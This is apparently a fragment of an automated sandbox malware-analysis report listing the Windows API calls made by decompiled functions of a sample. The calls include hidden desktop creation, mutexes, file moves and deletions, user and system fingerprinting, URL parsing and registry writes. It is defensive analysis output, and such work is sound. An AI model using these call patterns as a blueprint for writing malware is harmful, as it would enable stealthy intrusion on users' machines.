      • Part of subcall function 00BCCA22: SendMessageTimeoutW.USER32(?,00000021,?,?,00000002,00000064,?), ref: 00BCCA76
      • Part of subcall function 00BCCA22: PostMessageW.USER32(?,00000020,?), ref: 00BCCAB8
      • Part of subcall function 00BCCA22: GetWindowThreadProcessId.USER32(?,00000000), ref: 00BCCB4E
      • Part of subcall function 00BCCA22: PostMessageW.USER32(?,00000112,?,?), ref: 00BCCBA1
      • Part of subcall function 00BCCA22: GetWindowThreadProcessId.USER32(?,00000000), ref: 00BCCBE0
      • Part of subcall function 00BCB77C: GetClassNameW.USER32(?,?,00000101), ref: 00BCB797
      • Part of subcall function 00BCC822: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00BCC836
      • Part of subcall function 00BCC822: ReleaseMutex.KERNEL32 ref: 00BCC855
      • Part of subcall function 00BCC822: GetWindowRect.USER32(?,?), ref: 00BCC862
      • Part of subcall function 00BCC822: IsRectEmpty.USER32(?), ref: 00BCC8E6
      • Part of subcall function 00BCC822: GetWindowLongW.USER32(?,000000F0), ref: 00BCC8F5
      • Part of subcall function 00BCC822: GetParent.USER32(?), ref: 00BCC90B
      • Part of subcall function 00BCC822: MapWindowPoints.USER32(00000000), ref: 00BCC914
      • Part of subcall function 00BCC822: SetWindowPos.USER32(?,00000000,?,?,?,?,0000630C), ref: 00BCC938
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0042CCB0, Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 274
    APIs
      • Part of subcall function 0041CC75: WindowFromPoint.USER32(?,?), ref: 0041CC91
      • Part of subcall function 0041CC75: SendMessageTimeoutW.USER32(?,00000084,00000000,?,00000002,?,?), ref: 0041CCC2
      • Part of subcall function 0041CC75: GetWindowLongW.USER32(?,000000F0), ref: 0041CCE6
      • Part of subcall function 0041CC75: SetWindowLongW.USER32(?,000000F0), ref: 0041CCF7
      • Part of subcall function 0041CC75: GetWindowLongW.USER32(00000002,000000F0), ref: 0041CD14
      • Part of subcall function 0041CC75: SetWindowLongW.USER32(?,000000F0), ref: 0041CD22
    • GetWindowLongW.USER32(?,000000F0), ref: 0042CDBC
    • GetParent.USER32 ref: 0042CDDE
    • GetWindowThreadProcessId.USER32(?,00000000), ref: 0042CE03
    • IsWindow.USER32(?), ref: 0042CE26
      • Part of subcall function 0042C7B3: WaitForSingleObject.KERNEL32(?,000000FF), ref: 0042C7B9
      • Part of subcall function 0042C7B3: ReleaseMutex.KERNEL32 ref: 0042C7ED
      • Part of subcall function 0042C7B3: IsWindow.USER32(?), ref: 0042C7F4
      • Part of subcall function 0042C7B3: PostMessageW.USER32(?,00000215,00000000,?), ref: 0042C80E
      • Part of subcall function 0042C7B3: SendMessageW.USER32(?,00000215,00000000,?), ref: 0042C816
    • GetWindowInfo.USER32(?,?), ref: 0042CE76
    • PostMessageW.USER32(?,0000020A,?,?,00000000,?,?,00000000), ref: 0042CFB3
      • Part of subcall function 0042CA22: GetAncestor.USER32(?,00000002), ref: 0042CA4B
      • Part of subcall function 0042CA22: SendMessageTimeoutW.USER32(?,00000021,?,?,00000002,00000064,?), ref: 0042CA76
      • Part of subcall function 0042CA22: PostMessageW.USER32(?,00000020,?), ref: 0042CAB8
      • Part of subcall function 0042CA22: GetWindowThreadProcessId.USER32(?,00000000), ref: 0042CB4E
      • Part of subcall function 0042CA22: PostMessageW.USER32(?,00000112,?,?), ref: 0042CBA1
      • Part of subcall function 0042CA22: GetWindowThreadProcessId.USER32(?,00000000), ref: 0042CBE0
      • Part of subcall function 0042B77C: GetClassNameW.USER32(?,?,00000101), ref: 0042B797
      • Part of subcall function 0042C822: WaitForSingleObject.KERNEL32(?,000000FF), ref: 0042C836
      • Part of subcall function 0042C822: ReleaseMutex.KERNEL32 ref: 0042C855
      • Part of subcall function 0042C822: GetWindowRect.USER32(?,?), ref: 0042C862
      • Part of subcall function 0042C822: IsRectEmpty.USER32(?), ref: 0042C8E6
      • Part of subcall function 0042C822: GetWindowLongW.USER32(?,000000F0), ref: 0042C8F5
      • Part of subcall function 0042C822: GetParent.USER32(?), ref: 0042C90B
      • Part of subcall function 0042C822: MapWindowPoints.USER32(00000000), ref: 0042C914
      • Part of subcall function 0042C822: SetWindowPos.USER32(?,00000000,?,?,?,?,0000630C), ref: 0042C938
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040E62D, Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 267
    APIs
    • MapAndLoad.IMAGEHLP(cqns,R5FF,?,00000000,00000000), ref: 0040E7AE
    • MapAndLoad.IMAGEHLP(f508cUFT,NiX,?,00000000,00000000), ref: 0040EA33
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EB02
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EC3E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040EDF8
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040E6E3, Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 267
    APIs
    • MapAndLoad.IMAGEHLP(cqns,R5FF,?,00000000,00000000), ref: 0040E7AE
    • MapAndLoad.IMAGEHLP(f508cUFT,NiX,?,00000000,00000000), ref: 0040EA33
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EB02
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EC3E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040EDF8
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040F6A5, Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 231
    APIs
    • SetWindowTextW.USER32 ref: 0040F6A5
    • GetWindowLongW.USER32 ref: 0040F6AB
    • LocalAlloc.KERNEL32 ref: 0040F6B1
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040F76A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040FA94
    • MapAndLoad.IMAGEHLP(sq08VH,Few9w,?,00000000,00000000), ref: 0040FBFB
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040A899, Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 211
    APIs
    • RegQueryValueExA.ADVAPI32 ref: 0040A899
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040AAF9, Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 132
    APIs
    • EndPage.GDI32 ref: 0040AAF9
    • GetCursorPos.USER32 ref: 0040AAFF
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040F387, Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 94
    APIs
    • SetScrollPos.USER32 ref: 0040F387
    • MapAndLoad.IMAGEHLP(P0j69Yq,nFO70z,?,00000000,00000000), ref: 0040F401
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040F44E
    • MapAndLoad.IMAGEHLP(sV0,WvM,?,00000000,00000000), ref: 0040F53C
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00BC6A3F, Relevance: 15.3, APIs: 10, Instructions: 310
    APIs
    • Sleep.KERNEL32(00000BB8), ref: 00BC6A79
      • Part of subcall function 00BC0477: RegOpenKeyExW.ADVAPI32(80000001,00BD3F08,00000000,00000001,?), ref: 00BC04BA
    • CoInitializeEx.OLE32(00000000,00000002), ref: 00BC6AB1
    • #6.OLEAUT32(00000004,?,?), ref: 00BC6D3F
      • Part of subcall function 00BC697C: StringFromGUID2.OLE32(00BA7254,?,00000032), ref: 00BC6995
      • Part of subcall function 00BC697C: CoGetObject.OLE32(?,?,00BA7264,?), ref: 00BC69F0
    • CoCreateInstance.OLE32(00BA7254,00000000,00004401,00BA7264,?), ref: 00BC6B0D
    • SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?), ref: 00BC6BE1
      • Part of subcall function 00BBDED6: PathCombineW.SHLWAPI(?,?,?), ref: 00BBDEF5
    • #2.OLEAUT32(?,?,?,?,?), ref: 00BC6C17
    • #2.OLEAUT32(?,?,?), ref: 00BC6C2B
    • CoCreateInstance.OLE32(00BA7274,00000000,00004401,00BA7284,?), ref: 00BC6CC6
    • #6.OLEAUT32(?,?,?), ref: 00BC6D27
    • #6.OLEAUT32(00000004,?,?,?), ref: 00BC6D2C
      • Part of subcall function 00BBEBA1: CoUninitialize.OLE32 ref: 00BBEBAF
      • Part of subcall function 00BC0533: CreateMutexW.KERNEL32(00BD2AFC,00000000,00BD3F88), ref: 00BC0556
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00426A3F, Relevance: 15.3, APIs: 10, Instructions: 310
    APIs
    • Sleep.KERNEL32(00000BB8), ref: 00426A79
      • Part of subcall function 00420477: RegOpenKeyExW.ADVAPI32(80000001,00433F08,00000000,00000001,?), ref: 004204BA
    • CoInitializeEx.OLE32(00000000,00000002), ref: 00426AB1
    • #6.OLEAUT32(00000004,?,?), ref: 00426D3F
      • Part of subcall function 0042697C: StringFromGUID2.OLE32(00407254,?,00000032), ref: 00426995
      • Part of subcall function 0042697C: CoGetObject.OLE32(?,?,00407264,?), ref: 004269F0
    • CoCreateInstance.OLE32(00407254,00000000,00004401,00407264,?), ref: 00426B0D
    • SHGetFolderPathW.SHELL32(00000000,00000025,00000000,00000000,?), ref: 00426BE1
      • Part of subcall function 0041DED6: PathCombineW.SHLWAPI(?,?,?), ref: 0041DEF5
    • #2.OLEAUT32(?,?,?,?,?), ref: 00426C17
    • #2.OLEAUT32(?,?,?), ref: 00426C2B
    • CoCreateInstance.OLE32(00407274,00000000,00004401,00407284,?), ref: 00426CC6
    • #6.OLEAUT32(?,?,?), ref: 00426D27
    • #6.OLEAUT32(00000004,?,?,?), ref: 00426D2C
      • Part of subcall function 0041EBA1: CoUninitialize.OLE32 ref: 0041EBAF
      • Part of subcall function 00420533: CreateMutexW.KERNEL32(00432AFC,00000000,00433F88), ref: 00420556
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BC8F82, Relevance: 15.2, APIs: 10, Instructions: 197
    APIs
      • Part of subcall function 00BA7ED5: CreateMutexW.KERNEL32(00BD2AFC,00000000,?), ref: 00BA7EF6
    • InterlockedExchange.KERNEL32(00BD4188,00000002,-00000007), ref: 00BC8FB5
      • Part of subcall function 00BA803E: WaitForSingleObject.KERNEL32(00000000,00BAA714), ref: 00BA8046
      • Part of subcall function 00BC8964: PathRemoveFileSpecW.SHLWAPI(00BD4398), ref: 00BC89A0
      • Part of subcall function 00BC8964: PathRenameExtensionW.SHLWAPI(?,.tmp), ref: 00BC89C0
      • Part of subcall function 00BC8964: GetFileAttributesW.KERNEL32(00BD4190), ref: 00BC89E3
    • GetFileAttributesW.KERNEL32(?), ref: 00BC9079
    • CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,00000000,00000000), ref: 00BC90A1
      • Part of subcall function 00BBD92E: GetFileSizeEx.KERNEL32(?,?), ref: 00BBD93A
    • CloseHandle.KERNEL32 ref: 00BC90BF
    • lstrcmpiW.KERNEL32(?,?), ref: 00BC90EF
    • MoveFileExW.KERNEL32(?,?,0000000B), ref: 00BC9114
      • Part of subcall function 00BBFC68: RegOpenKeyExW.ADVAPI32(80000001,00BD3E88,00000000,00000001,?), ref: 00BBFC91
      • Part of subcall function 00BB8160: HeapFree.KERNEL32(00000000,00000000,00BCC62F,?,?), ref: 00BB8173
      • Part of subcall function 00BC8AB9: GetTickCount.KERNEL32 ref: 00BC8BB5
      • Part of subcall function 00BC8AB9: GetUserDefaultUILanguage.KERNEL32 ref: 00BC8C06
      • Part of subcall function 00BC8AB9: GetModuleFileNameW.KERNEL32(00000000,?,00000103,?,?,00000000), ref: 00BC8C4B
      • Part of subcall function 00BC8AB9: GetUserNameExW.SECUR32(00000002,?,00000104,?,?,00000000), ref: 00BC8C91
      • Part of subcall function 00BC9500: WaitForSingleObject.KERNEL32(?,00001388), ref: 00BC9556
      • Part of subcall function 00BC9500: Sleep.KERNEL32(00001388), ref: 00BC9565
      • Part of subcall function 00BBE6B7: FlushFileBuffers.KERNEL32 ref: 00BBE6C3
      • Part of subcall function 00BBE6B7: CloseHandle.KERNEL32(?), ref: 00BBE6CB
    • WaitForSingleObject.KERNEL32(00007530), ref: 00BC91BF
    • InterlockedExchange.KERNEL32(00BD4188,?), ref: 00BC91DB
      • Part of subcall function 00BBBD18: ReleaseMutex.KERNEL32 ref: 00BBBD1C
    • GetFileAttributesW.KERNEL32(00BD4190), ref: 00BC91F7
    • InterlockedExchange.KERNEL32(00BD4188,00000000), ref: 00BC920C
      • Part of subcall function 00BBD955: SetFileAttributesW.KERNEL32(?,00000080), ref: 00BBD95E
      • Part of subcall function 00BBD955: DeleteFileW.KERNEL32(?), ref: 00BBD968
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00428F82, Relevance: 15.2, APIs: 10, Instructions: 197
    APIs
      • Part of subcall function 00407ED5: CreateMutexW.KERNEL32(00432AFC,00000000,?), ref: 00407EF6
    • InterlockedExchange.KERNEL32(00434188,00000002,-00000007), ref: 00428FB5
      • Part of subcall function 0040803E: WaitForSingleObject.KERNEL32(00000000,0040A714), ref: 00408046
      • Part of subcall function 00428964: PathRemoveFileSpecW.SHLWAPI(00434398), ref: 004289A0
      • Part of subcall function 00428964: PathRenameExtensionW.SHLWAPI(?,.tmp), ref: 004289C0
      • Part of subcall function 00428964: GetFileAttributesW.KERNEL32(00434190), ref: 004289E3
    • GetFileAttributesW.KERNEL32(?), ref: 00429079
    • CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,00000000,00000000), ref: 004290A1
      • Part of subcall function 0041D92E: GetFileSizeEx.KERNEL32(?,?), ref: 0041D93A
    • CloseHandle.KERNEL32 ref: 004290BF
    • lstrcmpiW.KERNEL32(?,?), ref: 004290EF
    • MoveFileExW.KERNEL32(?,?,0000000B), ref: 00429114
      • Part of subcall function 0041FC68: RegOpenKeyExW.ADVAPI32(80000001,00433E88,00000000,00000001,?), ref: 0041FC91
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
      • Part of subcall function 00428AB9: GetTickCount.KERNEL32 ref: 00428BB5
      • Part of subcall function 00428AB9: GetUserDefaultUILanguage.KERNEL32 ref: 00428C06
      • Part of subcall function 00428AB9: GetModuleFileNameW.KERNEL32(00000000,?,00000103,?,?,00000000), ref: 00428C4B
      • Part of subcall function 00428AB9: GetUserNameExW.SECUR32(00000002,?,00000104,?,?,00000000), ref: 00428C91
      • Part of subcall function 00429500: WaitForSingleObject.KERNEL32(?,00001388), ref: 00429556
      • Part of subcall function 00429500: Sleep.KERNEL32(00001388), ref: 00429565
      • Part of subcall function 0041E6B7: FlushFileBuffers.KERNEL32 ref: 0041E6C3
      • Part of subcall function 0041E6B7: CloseHandle.KERNEL32(?), ref: 0041E6CB
    • WaitForSingleObject.KERNEL32(00007530), ref: 004291BF
    • InterlockedExchange.KERNEL32(00434188,?), ref: 004291DB
      • Part of subcall function 0041BD18: ReleaseMutex.KERNEL32 ref: 0041BD1C
    • GetFileAttributesW.KERNEL32(00434190), ref: 004291F7
    • InterlockedExchange.KERNEL32(00434188,00000000), ref: 0042920C
      • Part of subcall function 0041D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 0041D95E
      • Part of subcall function 0041D955: DeleteFileW.KERNEL32(?), ref: 0041D968
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00BC886A, Relevance: 15.1, APIs: 10, Instructions: 92
    APIs
    • OpenWindowStationW.USER32(00000014,00000000,10000000), ref: 00BC888F
    • CreateWindowStationW.USER32(00000014,00000000,10000000,00000000), ref: 00BC88A2
    • GetProcessWindowStation.USER32 ref: 00BC88B3
      • Part of subcall function 00BC8842: GetProcessWindowStation.USER32 ref: 00BC8846
      • Part of subcall function 00BC8842: SetProcessWindowStation.USER32(00000000), ref: 00BC885A
    • OpenDesktopW.USER32(?,00000000,00000000,10000000), ref: 00BC88EE
    • CreateDesktopW.USER32(?,00000000,00000000,00000000,10000000,00000000), ref: 00BC8902
    • GetCurrentThreadId.KERNEL32 ref: 00BC890E
    • GetThreadDesktop.USER32 ref: 00BC8915
      • Part of subcall function 00BC87FD: lstrcmpiW.KERNEL32 ref: 00BC8822
    • SetThreadDesktop.USER32 ref: 00BC8927
    • CloseDesktop.USER32 ref: 00BC8939
    • CloseWindowStation.USER32(?), ref: 00BC8954
    Memory Dump Source
    • Source File: 00000005.00000002.644835560.00BA0000.00000040.sdmp, Offset: 00BA0000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00421F30, Relevance: 14.4, APIs: 5, Strings: 3, Instructions: 416
    APIs
      • Part of subcall function 004191F6: CharLowerA.USER32(?), ref: 004192C6
      • Part of subcall function 004191F6: CharLowerA.USER32(?), ref: 004192D0
      • Part of subcall function 004182C2: WideCharToMultiByte.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000), ref: 004182DD
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
      • Part of subcall function 004180EB: HeapAlloc.KERNEL32(00000008,?,0041847D,?,00407A97,?,00418FC7,?,?,00407A97,?,?,00418F77,?,?,?), ref: 0041810D
      • Part of subcall function 004180EB: HeapReAlloc.KERNEL32(00000008,?,?,0041847D,?,00407A97,?,00418FC7,?,?,00407A97,?,?,00418F77,?,?), ref: 0041811E
      • Part of subcall function 0041D156: StrCmpNIA.SHLWAPI(00000001,nbsp;,00000005), ref: 0041D279
    • InternetCrackUrlA.WININET(00000000,00000000,00000000,?), ref: 00422289
    • GetSystemTime.KERNEL32(?), ref: 004222A8
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
    • LeaveCriticalSection.KERNEL32(00433FEC), ref: 0042241A
      • Part of subcall function 00419656: CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000040), ref: 0041966F
      • Part of subcall function 00419656: CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 00419687
      • Part of subcall function 00419656: CryptHashData.ADVAPI32(?,00000010,?,00000000), ref: 004196A3
      • Part of subcall function 00419656: CryptGetHashParam.ADVAPI32(?,00000002,?,00000010,00000000), ref: 004196BB
      • Part of subcall function 00419656: CryptDestroyHash.ADVAPI32(?), ref: 004196D2
      • Part of subcall function 00419656: CryptReleaseContext.ADVAPI32(?,00000000), ref: 004196DC
    • GetLocalTime.KERNEL32(?), ref: 004223B2
      • Part of subcall function 0041C7EE: RegCreateKeyExW.ADVAPI32(80000001,7C809F91,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 0041C80C
      • Part of subcall function 0041C7EE: RegSetValueExW.ADVAPI32(00000000,?,00000000,?,00000004,?), ref: 0041C826
      • Part of subcall function 0041C7EE: RegCloseKey.ADVAPI32(00000000), ref: 0041C835
    • EnterCriticalSection.KERNEL32(00433FEC,00000000), ref: 004223DE
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 0040F656, Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 248
    APIs
    • SetBkMode.GDI32 ref: 0040F656
    • CreateWindowExW.USER32 ref: 0040F65C
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040F76A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040FA94
    • MapAndLoad.IMAGEHLP(sq08VH,Few9w,?,00000000,00000000), ref: 0040FBFB
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040A7EA, Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 242
    APIs
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00415860, Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 230
    APIs
    • GetStartupInfoA.KERNEL32 ref: 00415860
    • SetActiveWindow.USER32 ref: 00415866
    • CommDlgExtendedError.COMDLG32 ref: 0041586C
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00415AC6
    • MapAndLoad.IMAGEHLP(yaoffu,wzU,?,00000000,00000000), ref: 00415BCB
    • IsBadStringPtrW.KERNEL32(?,00000202), ref: 00415E29
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040F73E, Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 209
    APIs
    • StartPage.GDI32 ref: 0040F73E
    • RegQueryValueExW.ADVAPI32 ref: 0040F744
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040F76A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040FA94
    • MapAndLoad.IMAGEHLP(sq08VH,Few9w,?,00000000,00000000), ref: 0040FBFB
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040A8FF, Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 192
    APIs
    • LPtoDP.GDI32 ref: 0040A8FF
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,0012FE18,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,0012FE18,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 0040F7E4, Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 181
    APIs
    • FindTextW.COMDLG32 ref: 0040F7E4
    • GetForegroundWindow.USER32 ref: 0040F7EA
    • UnhookWinEvent.USER32 ref: 0040F7F0
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040FA94
    • MapAndLoad.IMAGEHLP(sq08VH,Few9w,?,00000000,00000000), ref: 0040FBFB
    Strings
    Memory Dump Source
